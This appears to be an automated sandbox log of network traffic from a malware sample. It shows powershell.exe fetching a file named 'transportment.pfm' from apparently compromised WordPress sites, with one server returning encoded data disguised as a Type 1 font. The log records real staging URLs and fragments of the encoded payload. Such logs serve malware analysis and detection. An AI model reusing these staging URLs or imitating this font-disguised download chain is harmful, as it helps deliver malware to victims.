2024-07-27 11:31:17 UTC	518	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://asociatiatraditiimaria.ro/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked date: Sat, 27 Jul 2024 11:31:16 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-07-27 11:31:17 UTC	850	IN	Data Raw: 31 30 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0d 0a 09 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 73 6f 63 69 61 c8 9b 69 61 20 54 72 61 64 69 c8 9b 69 69 Data Ascii: 10000<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <title>Page not found – Asociaia Tradiii
2024-07-27 11:31:17 UTC	14994	IN	Data Raw: 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 35 2e 30 2e 33 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 73 6f 63 69 61 74 69 61 74 72 61 64 69 74 69 69 6d 61 72 69 61 2e 72 6f 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 31 22 7d 7d 3b 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 76 61 72 20 6f 2c 73 2c 65 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 Data Ascii: /core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/asociatiatraditiimaria.ro\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.6.1"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportT
2024-07-27 11:31:17 UTC	16384	IN	Data Raw: 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 20 3e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3a 68 6f 76 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 Data Ascii: lock-button.is-style-outline .wp-block-button__link:hover,.wp-block-buttons .wp-block-button.is-style-outline .wp-block-button__link:focus,.wp-block-buttons .wp-block-button.is-style-outline > .wp-block-button__link:not(.has-text-color):hover,.wp-block-bu
2024-07-27 11:31:17 UTC	16384	IN	Data Raw: 74 68 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 63 75 73 74 6f 6d 2d 2d 61 73 74 2d 77 69 64 65 2d 77 69 64 74 68 2d 73 69 7a 65 29 3b 7d 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 5b 61 73 74 2d 62 6c 6f 63 6b 73 2d 6c 61 79 6f 75 74 5d 20 2e 61 6c 69 67 6e 66 75 6c 6c 20 7b 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 7d 62 6c 6f 63 6b 71 75 6f 74 65 20 7b 6d 61 72 67 69 6e 3a 20 31 2e 35 65 6d 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 30 35 29 3b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 Data Ascii: th: var(--wp--custom--ast-wide-width-size);}.entry-content[ast-blocks-layout] .alignfull {max-width: none;}.entry-content .wp-block-columns {margin-bottom: 0;}blockquote {margin: 1.5em;border-color: rgba(0,0,0,0.05);}.wp-block-quote:not(.has-text-align-ri
2024-07-27 11:31:17 UTC	16384	IN	Data Raw: 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 73 69 74 65 2d 63 6f 6e 74 65 6e 74 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 61 73 74 2d 61 72 63 68 69 76 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 2d 72 65 73 70 6f 6e 64 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 61 73 74 2d 63 6f 6d 6d 65 6e 74 2d 6c 69 73 74 20 6c 69 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 73 2d 74 69 74 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: -container .site-content,.ast-separate-container .ast-archive-description,.ast-separate-container .comments-area .comment-respond,.ast-separate-container .comments-area .ast-comment-list li,.ast-separate-container .comments-area .comments-title{background
2024-07-27 11:31:17 UTC	16384	IN	Data Raw: 61 79 6f 75 74 2d 66 6c 6f 77 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 6f 77 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 Data Ascii: ayout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-i
2024-07-27 11:31:17 UTC	16384	IN	Data Raw: 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 61 73 74 2d 67 72 69 64 2d 32 20 2e 61 73 74 2d 61 72 74 69 63 6c 65 2d 70 6f 73 74 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 70 6f 73 74 73 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 61 73 74 2d 67 72 69 64 2d 33 20 2e 61 73 74 2d 61 72 74 69 63 6c 65 2d 70 6f 73 74 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 70 6f 73 74 73 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 61 73 74 2d 67 72 69 64 2d 34 20 2e 61 73 74 2d 61 72 74 69 63 6c 65 2d 70 6f 73 74 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 70 6f 73 74 73 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 3b 7d 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 61 73 74 2d Data Ascii: ate-container .ast-grid-2 .ast-article-post.ast-separate-posts,.ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts,.ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts{border-bottom:0;}.ast-separate-container .ast-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49719	93.113.54.56	443	7244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 11:31:23 UTC	71	OUT	GET /os/transportment.pfm HTTP/1.1 Host: asociatiatraditiimaria.ro
2024-07-27 11:31:24 UTC	340	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://asociatiatraditiimaria.ro/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked date: Sat, 27 Jul 2024 11:31:23 GMT server: LiteSpeed
2024-07-27 11:31:24 UTC	1028	IN	Data Raw: 31 30 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0d 0a 09 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 73 6f 63 69 61 c8 9b 69 61 20 54 72 61 64 69 c8 9b 69 69 Data Ascii: 10000<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <title>Page not found – Asociaia Tradiii
2024-07-27 11:31:24 UTC	14994	IN	Data Raw: 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 76 61 72 20 6f 2c 73 2c 65 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b Data Ascii: auto-generated */!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);
2024-07-27 11:31:24 UTC	16384	IN	Data Raw: 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 20 3e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3a 68 6f 76 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 73 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 2e 69 73 2d 73 74 79 6c 65 2d 6f 75 74 6c 69 6e 65 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 61 73 74 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 35 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 61 73 74 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 30 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 Data Ascii: tyle-outline > .wp-block-button__link:not(.has-text-color):hover,.wp-block-buttons .wp-block-button.wp-block-button__link.is-style-outline:not(.has-text-color):hover{color:var(--ast-global-color-5);background-color:var(--ast-global-color-0);border-color:v
2024-07-27 11:31:24 UTC	16384	IN	Data Raw: 20 31 2e 35 65 6d 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 30 35 29 3b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 29 3a 6e 6f 74 28 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 29 20 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 35 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 30 35 29 3b 7d 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 20 3e 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6c 6f 63 6b 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 20 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 35 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c Data Ascii: 1.5em;border-color: rgba(0,0,0,0.05);}.wp-block-quote:not(.has-text-align-right):not(.has-text-align-center) {border-left: 5px solid rgba(0,0,0,0.05);}.has-text-align-right > blockquote,blockquote.has-text-align-right {border-right: 5px solid rgba(0,0,0,
2024-07-27 11:31:24 UTC	16384	IN	Data Raw: 65 6e 74 2d 6c 69 73 74 20 6c 69 2c 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 2e 63 6f 6d 6d 65 6e 74 73 2d 74 69 74 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 61 73 74 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 35 29 3b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b 3b 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 32 31 70 78 29 7b 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 61 73 74 2d 61 72 74 69 63 6c 65 2d 73 69 6e 67 6c 65 3a 6e 6f 74 28 2e 61 73 74 2d 72 65 6c 61 74 65 64 2d 70 6f 73 74 29 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2e 61 73 74 2d 73 65 70 61 72 61 74 65 2d 63 6f Data Ascii: ent-list li,.ast-separate-container .comments-area .comments-title{background-color:var(--ast-global-color-5);;background-image:none;;}@media (max-width:921px){.ast-separate-container .ast-article-single:not(.ast-related-post),.woocommerce.ast-separate-co
2024-07-27 11:31:24 UTC	16384	IN	Data Raw: 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e Data Ascii: s-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !importan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	34.166.62.190	443	7244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 11:31:30 UTC	107	OUT	GET /wp-admin/oserve/transportment.pfm HTTP/1.1 Host: new.quranushaiqer.org.sa Connection: Keep-Alive
2024-07-27 11:31:30 UTC	396	IN	HTTP/1.1 200 OK Server: nginx/1.26.1 Date: Sat, 27 Jul 2024 11:31:30 GMT Content-Type: application/x-font-type1 Content-Length: 519984 Connection: close Last-Modified: Mon, 08 Jul 2024 02:08:54 GMT ETag: "7ef30-61cb2e520d854" Accept-Ranges: bytes X-Cache: HIT from Backend Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-07-27 11:31:30 UTC	15988	IN	Data Raw: 32 63 6e 59 77 75 74 45 2b 59 64 53 59 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 53 30 74 4c 54 70 72 77 41 41 41 4e 6e 2f 68 38 6e 72 58 76 71 6a 4a 6b 32 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 57 31 74 62 55 66 4a 64 37 6b 6d 39 76 69 36 30 49 6e 4b 34 56 Data Ascii: 2cnYwutE+YdSYLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTprwAAANn/h8nrXvqjJk21tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbUfJd7km9vi60InK4V
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 58 59 62 66 57 6d 54 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 76 37 2b 2f 74 6e 31 32 65 58 72 54 73 55 46 37 30 46 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 58 56 31 64 51 2b 42 74 41 41 41 41 4e 6a 4b 32 65 44 72 54 36 63 Data Ascii: XYbfWmT+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/v7+/tn12eXrTsUF70F1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dQ+BtAAAANjK2eDrT6c
2024-07-27 11:31:30 UTC	610	IN	Data Raw: 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 35 4f 54 6b 77 2b 42 71 51 41 41 41 4e 6e 4a 32 65 54 72 55 4e 67 63 31 69 47 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 73 37 4f 7a 6d 32 59 50 63 2f 46 57 44 36 37 77 36 30 69 35 36 54 55 35 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 Data Ascii: k5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTkw+BqQAAANnJ2eTrUNgc1iGzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozm2YPc/FWD67w60i56TU5BQUFBQUFBQUFBQU
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 66 58 31 39 51 2f 72 33 64 37 49 36 31 76 5a 61 2f 51 4f 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 6d 4a 69 59 67 63 4d 45 41 51 41 41 32 65 34 50 64 75 4c 72 54 66 54 53 65 44 37 4c 79 38 76 4c 79 Data Ascii: X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19Q/r3d7I61vZa/QOmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYgcMEAQAA2e4PduLrTfTSeD7Ly8vLy
2024-07-27 11:31:30 UTC	16384	IN	Data Raw: 33 39 2f 66 33 39 2f 66 33 39 2f 66 33 39 2f 51 2f 36 78 39 76 69 36 30 78 50 2f 34 42 4b 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 46 68 59 57 4f 64 41 50 64 2f 4d 50 66 74 37 72 55 45 59 48 76 30 63 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 48 52 30 64 44 34 56 79 2b 76 2f 2f 6d Data Ascii: 